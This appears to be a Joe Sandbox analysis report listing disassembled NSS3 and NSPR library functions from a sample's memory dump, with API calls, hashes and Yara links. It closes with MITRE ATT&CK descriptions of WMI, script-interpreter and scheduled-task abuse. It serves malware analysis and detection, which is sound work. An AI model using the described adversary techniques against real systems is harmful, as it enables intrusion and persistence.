API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 1d76f095f378c03bc8f2bd47e79977836e4bf921863c14f91e07355c453618cd
Instruction ID: 7a9b8544f94b64cbbb685315b4d26e6ffd4e9369fdd4a2c88473ff0e3f5af54a
Opcode Fuzzy Hash: 1d76f095f378c03bc8f2bd47e79977836e4bf921863c14f91e07355c453618cd
Instruction Fuzzy Hash: 12018074A047059BDB04AF3AD484659B7FCFF06398F054A2AD8A887B00E730E4D6CBC6

Function 6CA4AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CA35D40,00000000,?,?,6CA26AC6,6CA3639C), ref: 6CA4AC2D

Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE10
Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE24
Part of subcall function 6C9EADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C9CD079,00000000,00000001), ref: 6C9EAE5A
Part of subcall function 6C9EADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE6F
Part of subcall function 6C9EADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE7F
Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEB1
Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEC9

PK11_FreeSymKey.NSS3(?,6CA35D40,00000000,?,?,6CA26AC6,6CA3639C), ref: 6CA4AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CA35D40,00000000,?,?,6CA26AC6,6CA3639C), ref: 6CA4AC59
free.MOZGLUE(8CB6FF01,6CA26AC6,6CA3639C,?,?,?,?,?,?,?,?,?,6CA35D40,00000000,?,6CA3AAD4), ref: 6CA4AC62

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: b22cd5166b3046436e0ff84cc4fda79538ed9bdca65e20d719cfa3cd62e850f6
Instruction ID: 3798fe9f248aacd00f1e40de96dd6352e92646e9d7e18ac734db2c46cd1a9e1c
Opcode Fuzzy Hash: b22cd5166b3046436e0ff84cc4fda79538ed9bdca65e20d719cfa3cd62e850f6
Instruction Fuzzy Hash: 5D018FB56002049FDB00DF55E8C0B4677A8AF2471CF18C068E9498F706D734EC84CBA1

Function 6CA30840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CB02F88,6CA30660,00000020,00000000,?,?,6CA32C3D,?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA30860

Part of subcall function 6C924C70: TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
Part of subcall function 6C924C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
Part of subcall function 6C924C70: PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6CA32C3D,?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA30874
EnterCriticalSection.KERNEL32(00000001), ref: 6CA30884
PR_Unlock.NSS3 ref: 6CA308A3

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 1bc35fee811bc821292ade54d815d6c92509c8848cd40beb3b4475e3fb1a5a66
Instruction ID: 5486d56cdfb4a2fb007966ffd96eaccf39c9c04510da2c289a16a0a4f5421f6e
Opcode Fuzzy Hash: 1bc35fee811bc821292ade54d815d6c92509c8848cd40beb3b4475e3fb1a5a66
Instruction Fuzzy Hash: 3D017B35B003546BEF002F29EC199957B38EB2636CF0C5135ED0C92A02EF3194D987E1

Function 6C9FFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C9A9003,?), ref: 6C9FFD91

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

PORT_Alloc_Util.NSS3(A4686CA0,?), ref: 6C9FFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CA0,?,?), ref: 6C9FFDC4
free.MOZGLUE(00000000,?,?), ref: 6C9FFDD1

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 9f7d207382bbc45028017fd425e59c2db818cdc3cbd4bffd0cb71be949548a8f
Instruction ID: 4f11b32ff6520f6be80066df90110ecf00e8d42b1c3bce4bdb3a03b9040fd61c
Opcode Fuzzy Hash: 9f7d207382bbc45028017fd425e59c2db818cdc3cbd4bffd0cb71be949548a8f
Instruction Fuzzy Hash: 3FF028B16012025BEB045F55EC9091B779CEF4129CB108074ED188AF01E721D856C3F1

Function 6CAAF990 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?,6CAB2238), ref: 6CAAF9C7
free.MOZGLUE(?), ref: 6CAAF9CD
PR_Lock.NSS3(?,?,?,6CAB2238), ref: 6CAAF9DC
PR_Unlock.NSS3 ref: 6CAAFA16

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$LockUnlock
String ID:
API String ID: 628975992-0
Opcode ID: 307e59ba4008990fc47eb5b060bcdf0f0f5e57e0a594100efdd463b3427f98e7
Instruction ID: 5e6b5bd46717328a95586a9ad8208262c87b7218bbd7f00bd770be317854fcaa
Opcode Fuzzy Hash: 307e59ba4008990fc47eb5b060bcdf0f0f5e57e0a594100efdd463b3427f98e7
Instruction Fuzzy Hash: 1C0171713012059BDF489F69D9019597BF5EF4635C718406DE40A8BA60D732D846CF91

Function 6CABCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CABCC61
free.MOZGLUE ref: 6CABCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CABCC80
free.MOZGLUE(?), ref: 6CABCC87

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 36b70c4194ec23279f227a03cbb4109ea8c80d42a694b0e29d5184a4c27598cd
Instruction ID: cc5b9d10c9f61a095a7b890065f43eb998941f72fef2ef0a57cbe6fcd2953b35
Opcode Fuzzy Hash: 36b70c4194ec23279f227a03cbb4109ea8c80d42a694b0e29d5184a4c27598cd
Instruction Fuzzy Hash: CFE065767007099FCA10EFA9DC44C8777BCEE492747154525E691C3740D235F916CBE1

Function 6C999DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C999E1F

Part of subcall function 6C9513C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C922352,?,00000000,?,?), ref: 6C951413
Part of subcall function 6C9513C0: memcpy.VCRUNTIME140(00000000,6C922352,00000002,?,?,?,?,6C922352,?,00000000,?,?), ref: 6C9514C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6C99A006
ESCAPE expression must be a single character, xrefs: 6C999F78

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 4e244fe1462d1a7beb42dc40645be5712c51f948f1b3769ba4c00de9a09b4582
Instruction ID: b0821f6d4f533411f852ff9ac8bb4789d05227db8fc4b3ca0625b1deab3a6009
Opcode Fuzzy Hash: 4e244fe1462d1a7beb42dc40645be5712c51f948f1b3769ba4c00de9a09b4582
Instruction Fuzzy Hash: 1D812A74A042558FDB04CF39C0803AAB7F6AF45318F2E8659D8AD8BB81D736DC86C791

Function 6C9F4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9F4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C9F4DE6

Strings

%d.%d, xrefs: 6C9F4DDE

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 756cdbee6be9020b101069056e2c505835ad7cb7bc8d861dfa2e793f763f70ce
Instruction ID: 08ca5eeae697b4896fe9c350653866b0cb08e60a50bbad541645216c9cfe4ee0
Opcode Fuzzy Hash: 756cdbee6be9020b101069056e2c505835ad7cb7bc8d861dfa2e793f763f70ce
Instruction Fuzzy Hash: 2631FBB2D042186BEB105BA59C01BFF776CEF50308F050469ED255B681EB30E94ACBB2

Function 6CA90900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6CA90917
sqlite3_value_text.NSS3(?), ref: 6CA90923

Part of subcall function 6C9513C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C922352,?,00000000,?,?), ref: 6C951413
Part of subcall function 6C9513C0: memcpy.VCRUNTIME140(00000000,6C922352,00000002,?,?,?,?,6C922352,?,00000000,?,?), ref: 6C9514C0

Strings

error in %s %s%s%s: %s, xrefs: 6CA90944

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: e0e1b64b00b77ac320d915a13a9202f9e68b2e018c46c3a3dbbeb713653c4dc3
Instruction ID: cc0f8ac51dbb22303a424c26e1d3adb41c44d715d2030347bdaef5e33c8ff7d0
Opcode Fuzzy Hash: e0e1b64b00b77ac320d915a13a9202f9e68b2e018c46c3a3dbbeb713653c4dc3
Instruction Fuzzy Hash: 5501E5BAE001499FD7009E58EC019BA77B5EFE5218F184428ED485B711FB32E96487A1

Function 6CA05820 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6C9E615D,FORTEZZA,00000008,?,00000000,?,?,6C9E615D,?,00000000), ref: 6CA05844
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(6C9E6160,?,?,?,6C9E615D,?,00000000), ref: 6CA05865

Strings

FORTEZZA, xrefs: 6CA0583E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: L_strncasecmpatoi
String ID: FORTEZZA
API String ID: 4019336161-942151381
Opcode ID: 256969121e6261791f5f7e0ede094c27f5dc87ab45389fcfe558988219018f26
Instruction ID: 02cec4a0701c2bb4907d4297e41a6cd1c5c538f5a6d241efa67c285b398de5a4
Opcode Fuzzy Hash: 256969121e6261791f5f7e0ede094c27f5dc87ab45389fcfe558988219018f26
Instruction Fuzzy Hash: A8014961A4839A2EE7204E35E448752BFD8BF062DCF0C442ADDD882A01E371E1CDD384

Function 6CA3AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CA3AF78

Part of subcall function 6C99ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C99ACE2
Part of subcall function 6C99ACC0: malloc.MOZGLUE(00000001), ref: 6C99ACEC
Part of subcall function 6C99ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C99AD02
Part of subcall function 6C99ACC0: TlsGetValue.KERNEL32 ref: 6C99AD3C
Part of subcall function 6C99ACC0: calloc.MOZGLUE(00000001,?), ref: 6C99AD8C
Part of subcall function 6C99ACC0: PR_Unlock.NSS3 ref: 6C99ADC0
Part of subcall function 6C99ACC0: PR_Unlock.NSS3 ref: 6C99AE8C
Part of subcall function 6C99ACC0: free.MOZGLUE(?), ref: 6C99AEAB

memcpy.VCRUNTIME140(6CB03084,6CB002AC,00000090), ref: 6CA3AF94

Strings

SSL, xrefs: 6CA3AF73

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 64caa2c8ed025755bb2724a3a563d825c0c96de3ad6f402bb4c4257b6f26a2fe
Instruction ID: 4be731eccf3a694779cbc1798b76aff6b83b7b2d13790026fda3d6f91c4c5880
Opcode Fuzzy Hash: 64caa2c8ed025755bb2724a3a563d825c0c96de3ad6f402bb4c4257b6f26a2fe
Instruction Fuzzy Hash: 2B2170B6717E789EDB00DF59B92BB127A7AB322248710620DC10D8FB24F73140849FD9

Function 6C990F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F1B

Part of subcall function 6C991370: GetSystemInfo.KERNEL32(?,?,?,?,6C990936,?,6C990F20,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000), ref: 6C99138F

PR_NewLogModule.NSS3(clock,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F25

Part of subcall function 6C991110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C990936,00000001,00000040), ref: 6C991130
Part of subcall function 6C991110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C990936,00000001,00000040), ref: 6C991142
Part of subcall function 6C991110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C990936,00000001), ref: 6C991167

Strings

clock, xrefs: 6C990F20

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 75db52ccb050bef5150556479ac0e53249d31a9607e2568f696c58e598a18190
Instruction ID: 937baa55fa574940bcbc4fe5860585e1708d7e191e1890f6f8f4c2a68b5903c7
Opcode Fuzzy Hash: 75db52ccb050bef5150556479ac0e53249d31a9607e2568f696c58e598a18190
Instruction Fuzzy Hash: E5D0223130430466CB1022979C45BA6B3BCE7F3279F04882AE00842D101B24D0DEC276

Function 6CA00DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CA00DF5
TlsGetValue.KERNEL32 ref: 6CA00E2D
TlsGetValue.KERNEL32 ref: 6CA00E58
TlsGetValue.KERNEL32 ref: 6CA00E84

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 8551ef08b11341071feb0e0854b4ba07a72cb9e57ddd188757beef6d0db32dac
Instruction ID: 2eefb034d9bbcb49757de9a3440ff9278929a66cbce060ea4503868d55fcfde7
Opcode Fuzzy Hash: 8551ef08b11341071feb0e0854b4ba07a72cb9e57ddd188757beef6d0db32dac
Instruction Fuzzy Hash: D731E9707443818FDB106F7CE84425977B8BF1A38CF09862DD89897A11EB34D4C6CB82

Function 6CA00F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C9A2AF5,?,?,?,?,?,6C9A0A1B,00000000), ref: 6CA00F1A
malloc.MOZGLUE(00000001), ref: 6CA00F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CA00F42
TlsGetValue.KERNEL32 ref: 6CA00F5B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 4cae8ae156bbc8995bd5ef062aafb5911dff0686e27eabb1a13cff01b2aa9187
Instruction ID: 04a5c549d66b5d1d8d94e7715c0d12d6eec8588a6c934b9dfda5cd74e1742113
Opcode Fuzzy Hash: 4cae8ae156bbc8995bd5ef062aafb5911dff0686e27eabb1a13cff01b2aa9187
Instruction Fuzzy Hash: 6E01D8B1F013805BE7102F3EAE445567BACEF522DDB094165ED1CC3A21EB31C889C6E2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

